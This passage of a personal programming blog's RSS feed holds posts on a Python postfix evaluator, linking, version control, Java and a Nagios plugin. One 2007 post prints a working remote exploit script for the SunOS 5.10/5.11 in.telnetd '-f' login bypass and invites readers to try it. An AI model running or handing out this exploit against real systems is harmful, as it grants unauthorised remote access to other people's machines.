<span style="color: #ff7700;font-weight:bold;">def</span> evaluate_postfix_expr<span style="color: black;">&#40;</span>expr<span style="color: black;">&#41;</span>:
    atoms = <span style="color: #dc143c;">re</span>.<span style="color: black;">split</span><span style="color: black;">&#40;</span>r<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\s</span>+&quot;</span>, expr<span style="color: black;">&#41;</span>
    stack = <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span> 
    <span style="color: #ff7700;font-weight:bold;">for</span> atom <span style="color: #ff7700;font-weight:bold;">in</span> atoms:
        <span style="color: #ff7700;font-weight:bold;">if</span> atom <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: black;">&#91;</span><span style="color: #483d8b;">&quot;+&quot;</span>, <span style="color: #483d8b;">&quot;-&quot;</span>, <span style="color: #483d8b;">&quot;*&quot;</span>, <span style="color: #483d8b;">&quot;/&quot;</span>, <span style="color: #483d8b;">&quot;^&quot;</span><span style="color: black;">&#93;</span>:
            <span style="color: #ff7700;font-weight:bold;">try</span>:
                op2 = stack.<span style="color: black;">pop</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
                op1 = stack.<span style="color: black;">pop</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
            <span style="color: #ff7700;font-weight:bold;">except</span> <span style="color: #008000;">IndexError</span>:
                <span style="color: #ff7700;font-weight:bold;">raise</span> ExpressionError<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Too few operands (unbalanced)&quot;</span><span style="color: black;">&#41;</span>
            <span style="color: #dc143c;">logging</span>.<span style="color: black;">debug</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Calculating %d %s %d&quot;</span> <span style="color: #66cc66;">%</span> <span style="color: black;">&#40;</span>op1, atom, op2<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
            atom = operators_table<span style="color: black;">&#91;</span>atom<span style="color: black;">&#93;</span><span style="color: black;">&#40;</span>op1, op2<span style="color: black;">&#41;</span>
        <span style="color: #ff7700;font-weight:bold;">else</span>:
            <span style="color: #ff7700;font-weight:bold;">try</span>:
                atom = <span style="color: #008000;">int</span><span style="color: black;">&#40;</span>atom<span style="color: black;">&#41;</span>
            <span style="color: #ff7700;font-weight:bold;">except</span> <span style="color: #008000;">ValueError</span>:
                <span style="color: #ff7700;font-weight:bold;">raise</span> ExpressionError<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Unable to parse '%s' as integer&quot;</span> <span style="color: #66cc66;">%</span> atom<span style="color: black;">&#41;</span>
&nbsp;
        <span style="color: #ff7700;font-weight:bold;">try</span>:
            stack.<span style="color: black;">append</span><span style="color: black;">&#40;</span>atom<span style="color: black;">&#41;</span>
        <span style="color: #ff7700;font-weight:bold;">except</span> <span style="color: #008000;">MemoryError</span>:
            <span style="color: #ff7700;font-weight:bold;">raise</span> ExpressionError<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Too long expression&quot;</span><span style="color: black;">&#41;</span>
&nbsp;
        <span style="color: #dc143c;">logging</span>.<span style="color: black;">debug</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Pushed element %d. Stack status: %s&quot;</span> <span style="color: #66cc66;">%</span> <span style="color: black;">&#40;</span>atom, stack<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #008000;">len</span><span style="color: black;">&#40;</span>stack<span style="color: black;">&#41;</span> == <span style="color: #ff4500;">1</span>:
        <span style="color: #ff7700;font-weight:bold;">return</span> stack.<span style="color: black;">pop</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">else</span>:
        <span style="color: #ff7700;font-weight:bold;">raise</span> ExpressionError<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Too many operands (unbalanced)&quot;</span><span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">if</span> __name__ == <span style="color: #483d8b;">&quot;__main__&quot;</span>:
    <span style="color: #dc143c;">unittest</span>.<span style="color: black;">main</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span></pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://criptonita.com/~nacho/blog/2011/02/23/reverse-polish-notation-evaluation-in-python/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Yay, you won!</title>
		<link>http://criptonita.com/~nacho/blog/2008/05/09/yay-you-won/</link>
		<comments>http://criptonita.com/~nacho/blog/2008/05/09/yay-you-won/#comments</comments>
		<pubDate>Fri, 09 May 2008 20:38:35 +0000</pubDate>
		<dc:creator>Nacho Barrientos</dc:creator>
				<category><![CDATA[Debian]]></category>
		<category><![CDATA[Life]]></category>
		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://criptonita.com/~nacho/blog/?p=133</guid>
		<description><![CDATA[Some people are born to be a winner, you&#8216;re one of them. Congratulations dude! ;)]]></description>
			<content:encoded><![CDATA[<p>Some people are born to be a winner, <a href="http://chistera.yi.org/~adeodato/blog/">you</a>&#8216;re one of them. <a href="http://chistera.yi.org/~adeodato/blog/entries/2008/05/09/winning_cusl2.html">Congratulations</a> dude! ;)</p>
]]></content:encoded>
			<wfw:commentRss>http://criptonita.com/~nacho/blog/2008/05/09/yay-you-won/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Example: How to statically and dynamically link your executables</title>
		<link>http://criptonita.com/~nacho/blog/2007/08/30/example-how-to-statically-and-dynamically-link-your-executables/</link>
		<comments>http://criptonita.com/~nacho/blog/2007/08/30/example-how-to-statically-and-dynamically-link-your-executables/#comments</comments>
		<pubDate>Thu, 30 Aug 2007 10:27:28 +0000</pubDate>
		<dc:creator>Nacho Barrientos</dc:creator>
				<category><![CDATA[Debian]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://criptonita.com/~nacho/blog/2007/08/30/example-how-to-statically-and-dynamically-link-your-executables/</guid>
		<description><![CDATA[People usually uses Google, among other things, to look for hints about how to do small tasks. Hopefully, you will find the hint you were looking for in somebody&#8217;s blog, because he or she had the same problem time ago and decided to talk about it. Last night, I was a bit bored and started [...]]]></description>
			<content:encoded><![CDATA[<p>People usually uses Google, among other things, to look for hints about how to do small tasks. Hopefully, you will find the hint you were looking for in somebody&#8217;s blog, because he or she had the same problem time ago and decided to talk about it.</p>
<p>Last night, I was a bit bored and started writing a dumb set of files to introduce people how static and dynamic linking work, so trying to put my two cents and add a new hint to the <em>wild wild web</em>, <a href="http://criptonita.com/~nacho/shared/shlib-example.tar.gz">I&#8217;m sharing it</a>. The C source files are practically useless, therefore pay attention to the Makefile, the magic is in there.</p>
<p>If you&#8217;re downloading it only to compile, execute and see what happens forget about it, the program is completely silly. Otherwise, probably the Makefile is buggy somewhere so bug reports are welcome. For teaching purposes, try, for example, breaking the ABI and see what happens.</p>
<p>Google, index this post please!</p>
<p>Update: This example does not cover autotools/libtool</p>
]]></content:encoded>
			<wfw:commentRss>http://criptonita.com/~nacho/blog/2007/08/30/example-how-to-statically-and-dynamically-link-your-executables/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Ingeniería del software, sabor universitario</title>
		<link>http://criptonita.com/~nacho/blog/2007/04/11/ingenieria-del-software-sabor-universitario/</link>
		<comments>http://criptonita.com/~nacho/blog/2007/04/11/ingenieria-del-software-sabor-universitario/#comments</comments>
		<pubDate>Wed, 11 Apr 2007 11:31:41 +0000</pubDate>
		<dc:creator>Nacho Barrientos</dc:creator>
				<category><![CDATA[Fun]]></category>
		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://criptonita.com/~nacho/blog/2007/04/11/ingenieria-del-software-sabor-universitario/</guid>
		<description><![CDATA[Voy a aprovechar mi blog para poner aquí lo que, según fuentes bastante fiables, dijo un profesor de Ingeniería del Software a sus alumnos hace escasos días. Obviamente no digo ni nombre, ni curso, ni titulación, ni incluso Universidad (aunque me imagino que supongais bien) ya que es lo que menos importa. También advierto que [...]]]></description>
			<content:encoded><![CDATA[<p>Voy a aprovechar mi blog para poner aquí lo que, según fuentes bastante fiables, dijo un profesor de Ingeniería del Software a sus alumnos hace escasos días. </p>
<p>Obviamente no digo ni nombre, ni curso, ni titulación, ni incluso Universidad (aunque me imagino que supongais bien) ya que es lo que menos importa. También advierto que la cita no es literal, pero creo que para entendernos servirá: </p>
<blockquote><p>No os aconsejo utilizar sistemas de <a href="http://en.wikipedia.org/wiki/Source_Control_Management">SCM</a> porque os van a complicar la vida, no vais a desarrollar bien, no seais tecnócratas.</p></blockquote>
<p>Aún no puedo salir de mi asombro, que un profesor de Ingeniería del Software diga eso, sobre todo que &#8220;os van a complicar la vida&#8221; cuando el asunto es precisamente al revés. En mi opinión, ya me parece indispensable usarlos incluso desarrollando una persona sola, pero me parece un suicidio no utilizarlo cuando las personas en el grupo de trabajo son más de dos (como es el caso). Y no sólo lo pienso yo, lo piensa Debian, Google, Kernel.org, Lufthansa, NASA, CERN, CSC (¡Cualquier empresa con un equipo un poco decente lo usa todos los días!)&#8230; y no sólo empresas grandes, sino cualquier grupo de personas que intenten desarrollar algo juntos (sí, esa empresa en la que estás pensando también lo usa). </p>
<p>Sinceramente, me siento avergonzado de que se digan estas cosas en la Universidad. Sigan formando así Ingenieros, por algo seguimos en la cola de Europa. </p>
<p>Y tú, ¿todavía te pasas un <em>.zip</em> con tus compañeros?</p>
]]></content:encoded>
			<wfw:commentRss>http://criptonita.com/~nacho/blog/2007/04/11/ingenieria-del-software-sabor-universitario/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>SunOS 5.10/5.11 owned, really!</title>
		<link>http://criptonita.com/~nacho/blog/2007/02/13/sunos-510511-owned-really/</link>
		<comments>http://criptonita.com/~nacho/blog/2007/02/13/sunos-510511-owned-really/#comments</comments>
		<pubDate>Tue, 13 Feb 2007 14:46:21 +0000</pubDate>
		<dc:creator>Nacho Barrientos</dc:creator>
				<category><![CDATA[Fun]]></category>
		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://criptonita.com/~nacho/blog/2007/02/13/sunos-510511-owned-really/</guid>
		<description><![CDATA[Try it or get more details. #!/bin/sh echo "" echo "SunOS 5.10/5.11 in.telnetd Remote Exploit by Kingcope kingcope@gmx.net" if [ $# -ne 2 ]; then echo "./sunos HOST ACCOUNT" echo "e.g.: ./sunos localhost bin" exit fi telnet -l"-f$2" $1]]></description>
			<content:encoded><![CDATA[<p>Try it or <a href="http://www.com-winner.com/0day_was_the_case_that_they_gave_me.pdf">get more details.</a></p>
<p><code><br />
#!/bin/sh<br />
echo ""<br />
echo "SunOS 5.10/5.11 in.telnetd Remote Exploit by Kingcope kingcope@gmx.net"<br />
if [ $# -ne 2 ]; then<br />
echo "./sunos HOST ACCOUNT"<br />
echo "e.g.: ./sunos localhost bin"<br />
exit<br />
fi<br />
telnet -l"-f$2" $1<br />
</code></p>
]]></content:encoded>
			<wfw:commentRss>http://criptonita.com/~nacho/blog/2007/02/13/sunos-510511-owned-really/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Share the innovation</title>
		<link>http://criptonita.com/~nacho/blog/2006/11/13/share-the-innovation/</link>
		<comments>http://criptonita.com/~nacho/blog/2006/11/13/share-the-innovation/#comments</comments>
		<pubDate>Mon, 13 Nov 2006 14:56:01 +0000</pubDate>
		<dc:creator>Nacho Barrientos</dc:creator>
				<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://criptonita.com/~nacho/blog/2006/11/13/share-the-innovation/</guid>
		<description><![CDATA[This is the shout of the day, probably of the year: Sun opens Java SE, ME and other stuff]]></description>
			<content:encoded><![CDATA[<p>This is the shout of the day, probably of the year: <a href="http://www.sun.com/2006-1113/feature/index.jsp">Sun opens Java SE, ME and other stuff</a></p>
]]></content:encoded>
			<wfw:commentRss>http://criptonita.com/~nacho/blog/2006/11/13/share-the-innovation/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Estrenando libro de socios</title>
		<link>http://criptonita.com/~nacho/blog/2006/02/20/estrenando-libro-de-socios/</link>
		<comments>http://criptonita.com/~nacho/blog/2006/02/20/estrenando-libro-de-socios/#comments</comments>
		<pubDate>Mon, 20 Feb 2006 10:01:47 +0000</pubDate>
		<dc:creator>Nacho Barrientos</dc:creator>
				<category><![CDATA[Free time]]></category>
		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://criptonita.com/~nacho/blog/?p=35</guid>
		<description><![CDATA[Aprovechando mi &#8220;amistad&#8221; con el delfín este fin de semana me he dedicado a escribir desde la nada una aplicación hecha en PHP para llevar la gestión de los socios de una manera más cómoda. El código HTML del nuevo programa valida el estándar XHTML 1.1 y usa las hojas de estilo escritas por Diego [...]]]></description>
			<content:encoded><![CDATA[<p>Aprovechando mi &#8220;amistad&#8221; con <a href="http://www.mysql.org">el delfín</a> este fin de semana me he dedicado a escribir desde la nada una aplicación hecha en PHP para llevar la gestión de los socios de una manera más cómoda.</p>
<p>El código HTML del nuevo programa valida el estándar XHTML 1.1 y usa las hojas de estilo escritas por Diego Berrueta y Páblo López para la web de AsturLiNUX, para lograr un aspecto visual más confortable.</p>
<p>Actualmente ya tengo migrados los datos de los socios a este nuevo gestor, pero prolongaré un poco más el tiempo de prueba de esta aplicación antes de liberarla (antes tendré que añadir más control de errores que para uso personal no eran necesarios, o eso creo), que seguro le viene bien a otra Asociación que funcione de manera similar a la nuestra. Este nuevo sistema proporcionará al Secretario un entorno mucho más amigable para llevar el control del libro, permitiendo automatizar tareas utilizando macro operaciones más facilmente, como por ejemplo avisar mediante correo electrónico al interesado cuando se confirme el pago de una cuota o poder mandar recordatorios de manera automática.<br />
Gracias a <a href="http://www.rastreador.org.es">Rastreador</a> por sus comentarios sobre la accesibilidad del interfaz, gracias a él, he logrado hacer el entorno un poco más amigable. Os enseñaría como me ha quedado, pero no me apetece mucho ponerme a hacer <em>screenshots</em>, quizás otro día.</p>
<p>Cuando libere el software ya os mantendré informados.</p>
]]></content:encoded>
			<wfw:commentRss>http://criptonita.com/~nacho/blog/2006/02/20/estrenando-libro-de-socios/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MGE UPS Nagios Perl Script</title>
		<link>http://criptonita.com/~nacho/blog/2005/08/29/mge-ups-nagios-perl-script-3/</link>
		<comments>http://criptonita.com/~nacho/blog/2005/08/29/mge-ups-nagios-perl-script-3/#comments</comments>
		<pubDate>Mon, 29 Aug 2005 15:11:13 +0000</pubDate>
		<dc:creator>Nacho Barrientos</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://criptonita.com/~nacho/blog/?p=12</guid>
		<description><![CDATA[He tenido que escribir para el trabajo algún que otro plugin de Nagios estoy intentando liberar bajo licencia GPL todo lo que puedo, aquí os queda el enlace por si os hace falta en algún momento]]></description>
			<content:encoded><![CDATA[<p>He tenido que escribir para el <a href="http://www.ebhi.es">trabajo</a> algún que otro plugin de <a href="http://www.nagios.org">Nagios</a> estoy intentando liberar bajo licencia GPL todo lo que puedo, aquí os queda el <a href="http://criptonita.com/~nacho/mgeups/">enlace</a> por si os hace falta en algún momento</p>
]]></content:encoded>
			<wfw:commentRss>http://criptonita.com/~nacho/blog/2005/08/29/mge-ups-nagios-perl-script-3/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

